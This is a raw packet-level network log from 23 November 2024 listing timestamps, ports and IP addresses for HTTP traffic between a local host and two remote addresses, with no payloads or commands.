Nov 23, 2024 13:28:31.017702103 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.017736912 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.018702030 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.018789053 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.018804073 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.018881083 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.019695997 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.019815922 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.019865990 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.020725012 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.020778894 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.020839930 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.021250010 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.021765947 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.021821022 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.021917105 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.022842884 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.022897959 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.022918940 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.023204088 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.023847103 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.023957014 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.023961067 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.024040937 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.024885893 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.024966955 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.025021076 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.025893927 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.025952101 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.025993109 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.026092052 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.026890993 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.026941061 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.027003050 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.027064085 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.027935028 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.028042078 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.028081894 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.028081894 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.028979063 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.029042959 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.029134035 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.029210091 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.030318022 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.030467033 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.030514002 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.031028986 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.031116962 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.031121969 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.031347990 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.032016993 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.032078028 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.032121897 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.032250881 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.033072948 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.033157110 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.033219099 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.033277988 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.034075975 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.034132957 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.034177065 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.034251928 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.035106897 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.035161018 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.035204887 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.035351038 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.036150932 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.036204100 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.036278963 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.036331892 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.037373066 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.037425995 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.037488937 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.038211107 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.038398981 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.038456917 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.039244890 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.039391994 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.039449930 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.040306091 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.040496111 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.040555000 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.041326046 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.041380882 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.041429043 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.041491985 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.042346954 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.042401075 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.042475939 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.042534113 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.043375969 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.043428898 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.043486118 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.044406891 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.044471025 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.044557095 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.044707060 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.045396090 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.045448065 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.045520067 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.045576096 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.046416998 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.046489000 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.046535015 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.046593904 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.047478914 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.047535896 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.047590017 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.048556089 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.048607111 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.048609972 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.049576044 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.049628973 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.049701929 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.049762964 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.050551891 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.050610065 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.050697088 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.050801039 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.051575899 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.051639080 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.051680088 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.051871061 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.052603960 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.052664042 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.052676916 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.052730083 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.053621054 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.053680897 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.053745031 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.053808928 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.054653883 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.054719925 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.054780006 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.054964066 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.055696964 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.055761099 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.055855036 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.056694984 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.056771040 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.056859016 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.057729006 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.057789087 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.057878017 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.057975054 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.058746099 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.058809996 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.058873892 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.058923006 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.059765100 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.059824944 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.059865952 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.060055971 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.060930014 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.061005116 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.061044931 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.061096907 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.061914921 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.061964035 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.064395905 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:31.080998898 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:31.081094027 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:31.081183910 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:31.141184092 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:31.141225100 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:31.141273022 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:31.142462969 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:31.142498970 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:31.142546892 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:31.183331966 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:31.183396101 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:31.183535099 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:31.184926987 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:31.209904909 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.209981918 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.210056067 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.210200071 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.210308075 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.210355997 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.210418940 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.210469007 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.211375952 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.211430073 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.211487055 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.211534977 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.212316990 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.212367058 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.212444067 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.212498903 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.213340044 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.213391066 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.213448048 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.213496923 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.214396954 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.214447975 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.214497089 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.214545965 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.215393066 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.215451956 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.215512991 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.215562105 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.216413021 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.216464043 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.216514111 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.216564894 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.217438936 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.217489004 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.217529058 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.217576027 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.218494892 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.218544006 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.218589067 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.218641043 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.219643116 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.219691038 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.219718933 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.219768047 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.220534086 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.220592022 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.220635891 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.220681906 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.220845938 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:31.220895052 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:31.220916033 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:31.221551895 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.221604109 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.221657991 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.221707106 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.222585917 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.222637892 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.222697020 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.222744942 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.223634958 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.223685980 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.223725080 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.223773003 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.224623919 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.224669933 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.224709034 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.224756002 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.225903034 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.225920916 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.225964069 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:31.225965023 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.225965023 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.226013899 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:31.226095915 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:31.227114916 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.227135897 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.227204084 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.227634907 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:31.227715969 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.227766037 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.227767944 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:31.227799892 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.227854013 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.228754044 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.228812933 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.228859901 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.228908062 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.229774952 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.229829073 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.229955912 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.230010033 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.230801105 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.230854034 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.230901957 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.230952024 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.231837988 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.231893063 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.231945038 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.232001066 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.232896090 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.233033895 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.233047009 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.233097076 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.233900070 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.233962059 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.234004021 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.234054089 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.234918118 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.235006094 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.235038042 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.235088110 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.235928059 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.235980988 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.236021996 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.236073017 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.236969948 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.237029076 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.237071037 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.237118959 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.238348961 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.238406897 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.238423109 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.238471031 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.239017963 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.239073038 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.239135981 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.239186049 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.240097046 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.240170956 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.240173101 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.240226030 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.241076946 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.241134882 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.241180897 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.241230011 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.242091894 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.242113113 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.242144108 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.242165089 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.243125916 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.243180990 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.243223906 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.243273020 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.244158983 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.244208097 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.244272947 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.244321108 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.245193958 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.245248079 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.245325089 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.245374918 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.246208906 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.246280909 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.246356964 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.246408939 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.247236967 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.247287989 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.247344017 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.247438908 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.248260021 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.248323917 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.248435020 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.248483896 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.249305964 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.249455929 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.249524117 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.250348091 CET	80	49777	185.215.113.16	192.168.2.6
